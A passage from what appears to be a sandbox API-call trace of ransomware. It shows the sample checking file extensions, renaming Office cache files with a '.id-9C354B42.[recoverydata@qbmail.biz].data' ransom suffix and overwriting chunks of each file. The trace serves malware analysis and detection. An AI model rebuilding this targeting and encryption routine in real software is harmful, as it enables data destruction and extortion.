Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.118] lstrlenW (lpString=".doc") returned 4 [0078.118] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0078.118] lstrlenW (lpString=".docx") returned 5 [0078.118] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0078.118] lstrlenW (lpString=".pdf") returned 4 [0078.119] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0078.119] lstrlenW (lpString=".xls") returned 4 [0078.119] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0078.119] lstrlenW (lpString=".xlsx") returned 5 [0078.119] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0078.119] lstrlenW (lpString=".ppt") returned 4 [0078.119] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0078.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.119] lstrlenW (lpString=".zip") returned 4 [0078.119] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0078.119] lstrlenW (lpString=".rar") returned 4 [0078.119] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0078.119] lstrlenW (lpString=".bz2") returned 4 [0078.119] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0078.119] lstrlenW (lpString=".7z") returned 3 [0078.120] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0078.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.120] lstrlenW (lpString=".dbf") returned 4 [0078.120] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0078.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.120] lstrlenW (lpString=".1cd") returned 4 [0078.120] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0078.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.120] lstrlenW (lpString=".jpg") returned 4 [0078.120] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0078.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.121] lstrlenW (lpString=".doc") returned 4 [0078.121] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0078.121] lstrlenW (lpString=".docx") returned 5 [0078.121] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0078.121] lstrlenW (lpString=".pdf") returned 4 [0078.121] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0078.121] lstrlenW (lpString=".xls") returned 4 [0078.121] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0078.121] lstrlenW (lpString=".xlsx") returned 5 [0078.121] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0078.121] lstrlenW (lpString=".ppt") returned 4 [0078.122] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0078.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.122] lstrlenW (lpString=".zip") returned 4 [0078.122] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0078.122] lstrlenW (lpString=".rar") returned 4 [0078.122] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0078.122] lstrlenW (lpString=".bz2") returned 4 [0078.122] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0078.122] lstrlenW (lpString=".7z") returned 3 [0078.122] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0078.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.123] lstrlenW (lpString=".dbf") returned 4 [0078.123] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0078.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.123] lstrlenW (lpString=".1cd") returned 4 [0078.123] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0078.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.123] lstrlenW (lpString=".jpg") returned 4 [0078.123] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0078.124] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0078.124] lstrlenW (lpString="OutlkLR.cab") returned 11 [0078.124] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0078.125] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=14819276) returned 1 [0078.125] CloseHandle (hObject=0x1b0) returned 1 [0078.125] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0078.125] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0078.125] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0078.126] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0078.126] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc6c | out: lpNewFilePointer=0x0) returned 1 [0078.126] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0078.127] ReadFile (in: hFile=0x1b0, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.583] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0078.583] ReadFile (in: hFile=0x1b0, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.586] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0079.586] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0079.586] ReadFile (in: hFile=0x1b0, lpBuffer=0x35d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x35d0058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.778] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.778] WriteFile (in: hFile=0x1b0, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2bcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0081.483] SetEndOfFile (hFile=0x1b0) returned 1 [0081.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3f9a0a0 [0081.484] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0081.484] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.487] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0081.487] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.488] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0081.488] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f9a0a0 | out: hHeap=0x5b0000) returned 1 [0081.491] CloseHandle (hObject=0x1b0) returned 1 [0085.199] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0085.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0085.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0085.200] lstrlenW (lpString=".doc") returned 4 [0085.200] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0085.200] lstrlenW (lpString=".docx") returned 5 [0085.200] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0085.200] lstrlenW (lpString=".pdf") returned 4 [0085.200] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0085.200] lstrlenW (lpString=".xls") returned 4 [0085.200] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0085.200] lstrlenW (lpString=".xlsx") returned 5 [0085.200] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0085.200] lstrlenW (lpString=".ppt") returned 4 [0085.200] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0085.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0085.200] lstrlenW (lpString=".zip") returned 4 [0085.200] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0085.201] lstrlenW (lpString=".rar") returned 4 [0085.201] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0085.201] lstrlenW (lpString=".bz2") returned 4 [0085.201] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0085.201] lstrlenW (lpString=".7z") returned 3 [0085.201] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0085.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0085.201] lstrlenW (lpString=".dbf") returned 4 [0085.201] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0085.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0085.201] lstrlenW (lpString=".1cd") returned 4 [0085.201] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0085.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0085.201] lstrlenW (lpString=".jpg") returned 4 [0085.201] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0085.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0085.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0085.201] lstrlenW (lpString=".doc") returned 4 [0085.201] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0085.201] lstrlenW (lpString=".docx") returned 5 [0085.201] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0085.202] lstrlenW (lpString=".pdf") returned 4 [0085.202] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0085.202] lstrlenW (lpString=".xls") returned 4 [0085.202] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0085.202] lstrlenW (lpString=".xlsx") returned 5 [0085.202] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0085.202] lstrlenW (lpString=".ppt") returned 4 [0085.202] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0085.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0085.202] lstrlenW (lpString=".zip") returned 4 [0085.202] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0085.202] lstrlenW (lpString=".rar") returned 4 [0085.202] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0085.202] lstrlenW (lpString=".bz2") returned 4 [0085.202] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0085.202] lstrlenW (lpString=".7z") returned 3 [0085.202] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0085.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0085.202] lstrlenW (lpString=".dbf") returned 4 [0085.202] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0085.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0085.203] lstrlenW (lpString=".1cd") returned 4 [0085.203] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0085.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0085.203] lstrlenW (lpString=".jpg") returned 4 [0085.203] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0085.203] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0085.203] lstrlenW (lpString="Proof.cab") returned 9 [0085.203] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0085.351] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=13642474) returned 1 [0085.351] CloseHandle (hObject=0x1b0) returned 1 [0085.351] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0085.351] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.351] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0085.426] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0085.426] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc6c | out: lpNewFilePointer=0x0) returned 1 [0085.426] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0085.426] ReadFile (in: hFile=0x1b0, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0085.442] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0085.442] ReadFile (in: hFile=0x1b0, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0085.486] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0085.486] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0085.486] ReadFile (in: hFile=0x1b0, lpBuffer=0x35d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x35d0058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0085.520] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0085.521] WriteFile (in: hFile=0x1b0, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2bcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0085.841] SetEndOfFile (hFile=0x1b0) returned 1 [0085.841] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3fea0b8 [0086.108] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0086.109] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fea0b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b8*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0086.111] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0086.111] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fea0b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b8*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0086.113] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0086.113] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fea0b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b8*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0086.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3fea0b8 | out: hHeap=0x5b0000) returned 1 [0086.116] CloseHandle (hObject=0x1b0) returned 1 [0092.375] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0092.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.376] lstrlenW (lpString=".doc") returned 4 [0092.376] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0092.376] lstrlenW (lpString=".docx") returned 5 [0092.376] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0092.376] lstrlenW (lpString=".pdf") returned 4 [0092.376] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0092.376] lstrlenW (lpString=".xls") returned 4 [0092.376] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0092.376] lstrlenW (lpString=".xlsx") returned 5 [0092.376] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0092.376] lstrlenW (lpString=".ppt") returned 4 [0092.376] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0092.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.377] lstrlenW (lpString=".zip") returned 4 [0092.377] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0092.377] lstrlenW (lpString=".rar") returned 4 [0092.377] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0092.377] lstrlenW (lpString=".bz2") returned 4 [0092.377] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0092.377] lstrlenW (lpString=".7z") returned 3 [0092.377] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0092.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.377] lstrlenW (lpString=".dbf") returned 4 [0092.377] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0092.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.377] lstrlenW (lpString=".1cd") returned 4 [0092.377] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0092.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.377] lstrlenW (lpString=".jpg") returned 4 [0092.377] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0092.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.378] lstrlenW (lpString=".doc") returned 4 [0092.378] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0092.378] lstrlenW (lpString=".docx") returned 5 [0092.378] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0092.378] lstrlenW (lpString=".pdf") returned 4 [0092.378] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0092.378] lstrlenW (lpString=".xls") returned 4 [0092.378] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0092.378] lstrlenW (lpString=".xlsx") returned 5 [0092.378] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0092.378] lstrlenW (lpString=".ppt") returned 4 [0092.378] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0092.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.378] lstrlenW (lpString=".zip") returned 4 [0092.378] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0092.378] lstrlenW (lpString=".rar") returned 4 [0092.378] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0092.378] lstrlenW (lpString=".bz2") returned 4 [0092.379] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0092.379] lstrlenW (lpString=".7z") returned 3 [0092.379] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0092.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.379] lstrlenW (lpString=".dbf") returned 4 [0092.379] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0092.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.379] lstrlenW (lpString=".1cd") returned 4 [0092.379] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0092.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.379] lstrlenW (lpString=".jpg") returned 4 [0092.379] lstrcmpiW 